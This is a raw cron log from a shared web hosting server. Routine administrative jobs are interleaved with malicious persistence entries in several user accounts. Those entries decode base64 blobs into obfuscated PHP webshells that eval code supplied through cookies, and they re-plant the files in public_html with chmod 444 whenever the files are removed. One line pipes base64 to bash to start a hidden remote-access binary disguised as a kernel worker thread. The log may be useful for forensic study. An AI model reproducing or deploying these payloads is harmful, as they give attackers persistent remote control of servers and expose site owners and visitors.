Apr 19 03:58:02 medusa CROND[2823]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 03:58:02 medusa CROND[2824]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 03:58:02 medusa CROND[2825]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 03:58:02 medusa CROND[2826]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 03:58:02 medusa CROND[2827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 03:58:02 medusa CROND[2828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 03:58:02 medusa CROND[2831]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 03:58:02 medusa CROND[2830]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 03:58:02 medusa CROND[2833]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 03:58:02 medusa CROND[2838]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 03:58:02 medusa CROND[2839]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 03:59:02 medusa CROND[26944]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 03:59:02 medusa CROND[27083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 03:59:02 medusa CROND[27086]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 03:59:02 medusa CROND[27088]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 03:59:02 medusa CROND[27089]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 03:59:02 medusa CROND[27090]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 03:59:02 medusa CROND[27095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 03:59:02 medusa CROND[27096]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 03:59:02 medusa CROND[27103]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 03:59:02 medusa CROND[27105]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 03:59:02 medusa CROND[27106]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 03:59:02 medusa CROND[27107]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:00:01 medusa CROND[19158]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 04:00:01 medusa CROND[19184]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Apr 19 04:00:01 medusa CROND[19207]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 04:00:02 medusa CROND[19340]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 04:00:02 medusa CROND[19341]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 04:00:02 medusa CROND[19342]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 04:00:02 medusa CROND[19344]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 04:00:02 medusa CROND[19345]: (root) CMD (/usr/bin/flock -n /var/run/clean_packages.cronlock /usr/share/cloudlinux/clean_packages.sh &> /dev/null)
Apr 19 04:00:02 medusa CROND[19346]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 04:00:02 medusa CROND[19347]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:00:02 medusa CROND[19352]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Apr 19 04:00:02 medusa CROND[19355]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:00:02 medusa CROND[19358]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 04:00:02 medusa CROND[19349]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 04:00:02 medusa CROND[19354]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Apr 19 04:00:02 medusa CROND[19363]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Apr 19 04:00:02 medusa CROND[19371]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
